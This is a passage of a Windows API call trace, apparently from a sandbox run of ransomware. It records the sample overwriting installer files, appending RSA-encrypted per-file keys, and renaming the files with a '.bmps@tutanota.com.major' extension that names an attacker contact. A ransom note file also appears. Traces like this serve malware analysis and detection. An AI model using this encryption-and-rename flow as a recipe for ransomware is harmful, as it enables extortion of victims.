(in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0139.219] CreateFileW (lpFileName="\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0139.219] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=65238) returned 1 [0139.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfed6) returned 0x5ed868 [0139.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfed6) returned 0x5fd748 [0139.219] ReadFile (in: hFile=0x4b8, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xfed6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xfed6, lpOverlapped=0x0) returned 1 [0139.336] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=-65238, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.336] WriteFile (in: hFile=0x4b8, lpBuffer=0x5fd748*, nNumberOfBytesToWrite=0xfed6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5fd748*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfed6, lpOverlapped=0x0) returned 1 [0139.336] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.337] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5fd748 | out: hHeap=0x570000) returned 1 [0139.339] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfed6 [0139.339] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.339] WriteFile (in: hFile=0x4b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.339] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.339] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.340] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="mXCx+XGOeShGqQ/gQc8OjsokDfs/dBpJTcdd++JldA67WFrKmxArBUwkQVuwJ5+i\nT/t+ViYghumXVeDcbAb1Bojh5Dzq8Iq9/dX++8idsfriaoaOl2kT1T2/JN9qrVh+\nqdBF4zCDEvasFrR9TEskH6pqCKBLx441VturLhspHRP96g3DeImXra4VRWcD/jvn\nTV+r52jW9wdsk8zgiRslOb/UoeE3zvKiSG58RkiI82nH/ZJr6sAS8HGUvw3utfHI\n4rGtpam2lgOSVRMOovwU6pWQSvgp2vpNGLXsYwoOToRLZKD4Pe/SKnBPHF2nJi3h\n5IAhvvtpkkkK85B+BOfTNQ==\n", pcchString=0x2e3f9a8) returned 1 [0139.340] WriteFile (in: hFile=0x4b8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.340] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.340] WriteFile (in: hFile=0x4b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.340] CloseHandle (hObject=0x4b8) returned 1 [0139.342] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.342] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1042\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.344] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.344] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.344] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0139.344] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0139.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0139.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.344] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.344] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1042\\eula.rtf", dwFileAttributes=0x80) returned 1 [0139.345] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0139.345] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0139.345] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0139.345] CreateFileW (lpFileName="\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0139.345] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12687) returned 1 [0139.345] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x318f) returned 0x5ed868 [0139.345] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x318f) returned 0x5f0a00 [0139.345] ReadFile (in: hFile=0x4b8, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x318f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x318f, lpOverlapped=0x0) returned 1 [0139.363] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=-12687, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.364] WriteFile (in: hFile=0x4b8, lpBuffer=0x5f0a00*, nNumberOfBytesToWrite=0x318f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f0a00*, lpNumberOfBytesWritten=0x2e3f9b4*=0x318f, lpOverlapped=0x0) returned 1 [0139.364] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.364] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f0a00 | out: hHeap=0x570000) returned 1 [0139.364] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x318f [0139.364] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.364] WriteFile (in: hFile=0x4b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.364] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.364] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.364] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.365] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.365] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="WB2YG96E7oFWDJNbw+uB7LItSUF0QUmxH7/22MFJ327uN/vGFnWzvNwA70KVUDJR\nEjWIvU9vlg/2XoDAmgpW0uBFYwYMsQpqrwNdj6UXCJvwSS4A3AxptkLjkYoeQhYa\njG2gto+ZnJWYvGmA8ljygpJwybJ2/EIKdSuHLxD+ODlFEeRheiBBZuJm9y+Wo/JJ\nP4lQYdIjUDpLRGIZGYS+xHYTlOlOnqprgN/yFKgZ2+Vq3FZk5qlmVJ1k1ZOITKSP\nTbp5vguCia3gwuSkF+5c83AEYJBUvFDoNxa6dUTNASqLZFgAAKT8ERDkl91hOWCR\nU+3Pl3Y2hXVZ653mIjCnhA==\n", pcchString=0x2e3f9a8) returned 1 [0139.365] WriteFile (in: hFile=0x4b8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.365] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.365] WriteFile (in: hFile=0x4b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.365] CloseHandle (hObject=0x4b8) returned 1 [0139.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.366] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1042\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0139.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0139.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0139.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0139.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0139.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0139.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0139.367] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfff2093f, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b53b0 [0139.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0139.368] GetLastError () returned 0x0 [0139.368] SetLastError (dwErrCode=0x0) [0139.368] GetLastError () returned 0x0 [0139.368] SetLastError (dwErrCode=0x0) [0139.368] GetLastError () returned 0x0 [0139.368] SetLastError (dwErrCode=0x0) [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0139.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b53f0 [0139.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b53f0 | out: hHeap=0x570000) returned 1 [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0139.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0139.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0139.368] FindNextFileW (in: hFindFile=0x5b53b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfff2093f, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0139.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0139.368] GetLastError () returned 0x0 [0139.368] SetLastError (dwErrCode=0x0) [0139.368] GetLastError () returned 0x0 [0139.368] SetLastError (dwErrCode=0x0) [0139.368] GetLastError () returned 0x0 [0139.368] SetLastError (dwErrCode=0x0) [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0139.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0139.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5530 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5530 | out: hHeap=0x570000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0139.369] FindNextFileW (in: hFindFile=0x5b53b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0139.369] GetLastError () returned 0x0 [0139.369] SetLastError (dwErrCode=0x0) [0139.369] GetLastError () returned 0x0 [0139.369] SetLastError (dwErrCode=0x0) [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0139.369] GetLastError () returned 0x0 [0139.369] SetLastError (dwErrCode=0x0) [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0139.369] FindNextFileW (in: hFindFile=0x5b53b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0139.369] GetLastError () returned 0x0 [0139.369] SetLastError (dwErrCode=0x0) [0139.369] GetLastError () returned 0x0 [0139.369] SetLastError (dwErrCode=0x0) [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0139.369] GetLastError () returned 0x0 [0139.369] SetLastError (dwErrCode=0x0) [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0139.369] FindNextFileW (in: hFindFile=0x5b53b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff2093f, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfff2093f, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfff2093f, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0139.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0139.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0139.369] GetLastError () returned 0x0 [0139.370] SetLastError (dwErrCode=0x0) [0139.370] GetLastError () returned 0x0 [0139.370] SetLastError (dwErrCode=0x0) [0139.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0139.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0139.370] GetLastError () returned 0x0 [0139.370] SetLastError (dwErrCode=0x0) [0139.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.370] FindNextFileW (in: hFindFile=0x5b53b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0139.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0139.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0139.370] GetLastError () returned 0x0 [0139.370] SetLastError (dwErrCode=0x0) [0139.370] GetLastError () returned 0x0 [0139.370] SetLastError (dwErrCode=0x0) [0139.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0139.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0139.370] GetLastError () returned 0x0 [0139.370] SetLastError (dwErrCode=0x0) [0139.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0139.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0139.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0139.370] FindNextFileW (in: hFindFile=0x5b53b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0139.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0139.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.370] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.370] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1043\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0139.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0139.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0139.371] CreateFileW (lpFileName="\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0139.371] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19288) returned 1 [0139.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4b58) returned 0x5ed868 [0139.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4b58) returned 0x5f23c8 [0139.371] ReadFile (in: hFile=0x4bc, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4b58, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4b58, lpOverlapped=0x0) returned 1 [0139.401] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=-19288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.401] WriteFile (in: hFile=0x4bc, lpBuffer=0x5f23c8*, nNumberOfBytesToWrite=0x4b58, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f23c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4b58, lpOverlapped=0x0) returned 1 [0139.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f23c8 | out: hHeap=0x570000) returned 1 [0139.402] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4b58 [0139.402] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.402] WriteFile (in: hFile=0x4bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.403] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.403] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.404] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.404] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, 